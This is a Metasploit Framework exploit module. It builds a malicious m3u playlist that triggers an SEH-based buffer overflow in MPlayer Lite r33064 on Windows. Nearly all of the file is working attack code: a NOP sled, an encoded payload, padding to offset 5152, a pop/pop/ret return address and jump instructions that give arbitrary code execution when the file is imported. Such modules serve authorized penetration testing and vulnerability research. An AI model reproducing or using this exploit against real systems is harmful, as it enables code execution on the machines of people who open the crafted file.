##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MPlayer Lite r33064 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in MPlayer Lite r33064. When
				the application is used to import a specially crafted m3u file, a buffer overflow occurs
				allowing arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'C4SS!0 And h1ch4m', 	# Original Exploit
					'SmilingWolf'	# MSF Module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '46926'],
					[ 'URL', 'http://www.exploit-db.com/exploits/17013/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0d\x0a\x26\x2f\x5c\x3e\x3f"
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x6B04FCDE, 'Offset' => 5152 } ],	# p/p/r in MPlayer.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 19 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
			], self.class)

	end

	def exploit

		sploit = "\x90" * 100
		sploit << payload.encoded

		sploit2 = "\x41" * (5152-sploit.length)
		sploit2 << "\xeb\x0f\xcc\xcc"
		sploit2 << [target.ret].pack('V')
		sploit2 << "\x90" * 15
		sploit2 << "\xE9\xD4\xEB\xFF\xFF"
		sploit2 << "\x90" * 400
		filesploit = sploit + sploit2

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		
		file_create('http:// ' + filesploit)

	end

end

=begin
http://dev.metasploit.com/redmine/issues/4097
=end
